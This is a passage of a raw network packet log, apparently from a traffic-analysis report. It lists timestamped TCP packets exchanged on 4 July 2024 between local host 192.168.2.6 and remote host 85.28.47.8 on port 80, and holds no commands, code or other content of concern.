                                                              Jul 4, 2024 11:16:17.549380064 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.549395084 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.549421072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.549432039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.549485922 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.588982105 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.589000940 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.589011908 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.589016914 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.589023113 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.589027882 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.589034081 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.589132071 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.625066996 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.625081062 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.625091076 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.625125885 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.625157118 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.625193119 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.625205040 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.625216007 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.625226974 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.625237942 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.625276089 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.625289917 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.625499964 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.625513077 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.625523090 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.625550985 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.625564098 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.625658989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.625673056 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.625683069 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.625694036 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.625705957 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.625716925 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.625736952 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.625821114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.625832081 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.625844955 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.625868082 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.625893116 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.625977993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.625988960 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.625999928 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.626009941 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.626019955 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.626025915 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.626051903 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.626137972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.626148939 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.626158953 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.626169920 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.626176119 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.626182079 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.626199007 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.626226902 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.626307011 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.626317978 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.626461029 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.626471996 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.626482010 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.626492977 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.626501083 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.626504898 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.626518011 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.626529932 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.626550913 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.626748085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.626758099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.626769066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.626796007 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.626897097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.626908064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.626919031 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.626929998 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.626936913 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.626941919 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.626961946 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.626981020 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.642313004 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.642499924 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.642534018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.642570019 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.642585039 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.642605066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.642627001 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.642637968 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.642676115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.642735004 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.642805099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.642838001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.642848015 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.642873049 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.642926931 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.642971992 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.642976999 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643004894 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643019915 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643033028 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.643058062 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.643129110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643145084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643160105 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643174887 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643177032 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.643224001 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.643307924 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643321037 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643331051 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643342018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643352032 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643357992 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.643363953 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643374920 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643385887 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.643387079 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643414974 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.643440962 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.643538952 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.643632889 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643645048 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643656015 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643667936 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643678904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643682957 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.643692970 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643708944 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643708944 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.643767118 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.643786907 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643800020 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643810034 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643821001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643831968 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643836975 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.643866062 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.643942118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643954039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643965006 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643976927 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.643996000 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.644021988 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.644288063 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.644299030 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.644344091 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.644442081 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.644454956 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.644465923 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.644478083 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.644493103 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.644501925 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.644515038 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.644586086 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.644597054 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.644608974 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.644619942 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.644623995 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.644629002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.644645929 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.644646883 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.644658089 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.644664049 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.644664049 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.644673109 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.644679070 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.644684076 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.644690037 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.644740105 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.679399967 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.679413080 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.679425001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.679454088 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.679490089 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.679538012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.679548979 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.679560900 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.679573059 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.679584980 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.679610014 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.679689884 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.713589907 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.713617086 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.713628054 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.713643074 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.713669062 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.713690042 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.713701963 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.713716984 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.713728905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.713740110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.713746071 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.713794947 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.713893890 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.713907957 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.713918924 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.713931084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.713941097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.713942051 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.713953972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.713965893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.713970900 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.713979959 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.713988066 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.713994026 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.714004040 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.714005947 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.714039087 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.714081049 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.714092016 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.714103937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.714112997 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.714138985 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.714160919 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.714179993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.714195967 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.714207888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.714219093 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.714258909 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.714310884 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.714411974 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.714422941 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.714438915 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.714448929 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.714461088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.714468956 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.714472055 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.714484930 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.714497089 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.714504957 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.714528084 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.714633942 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.714648008 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.714674950 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.714739084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.714759111 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.714768887 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.714776993 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.714874983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.714893103 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.714905024 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.714916945 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.714917898 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.714956999 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.730726957 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.730791092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.730846882 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.730849028 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.730956078 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.730999947 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731013060 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731040001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731046915 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.731086016 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.731120110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731132030 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731173038 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.731206894 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731220961 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731232882 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731249094 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.731276035 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.731306076 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731318951 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731331110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731348038 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731354952 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.731388092 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.731420040 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731431007 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731468916 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.731503010 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731515884 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731532097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731544018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731554985 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.731559038 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731571913 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731583118 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.731623888 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.731806040 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731817961 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731829882 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731842041 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731853962 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731858015 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.731877089 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.731947899 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731960058 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731971025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731986046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.731997013 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.731997013 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732008934 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732021093 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732024908 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.732032061 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732044935 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732044935 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.732059956 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732068062 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.732078075 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732090950 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732093096 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.732135057 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.732527971 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732539892 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732558012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732568026 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732579947 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732584953 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.732593060 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732605934 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732610941 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.732626915 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.732626915 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732640982 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732644081 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.732655048 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732669115 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.732673883 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732690096 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732702017 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732712984 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732718945 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.732724905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732737064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732739925 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.732749939 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732763052 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732773066 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.732774973 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732788086 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732800007 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732803106 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.732817888 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.732817888 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.732837915 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:17.767920017 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:17.767932892 CEST804972385.28.47.8192.168.2.6
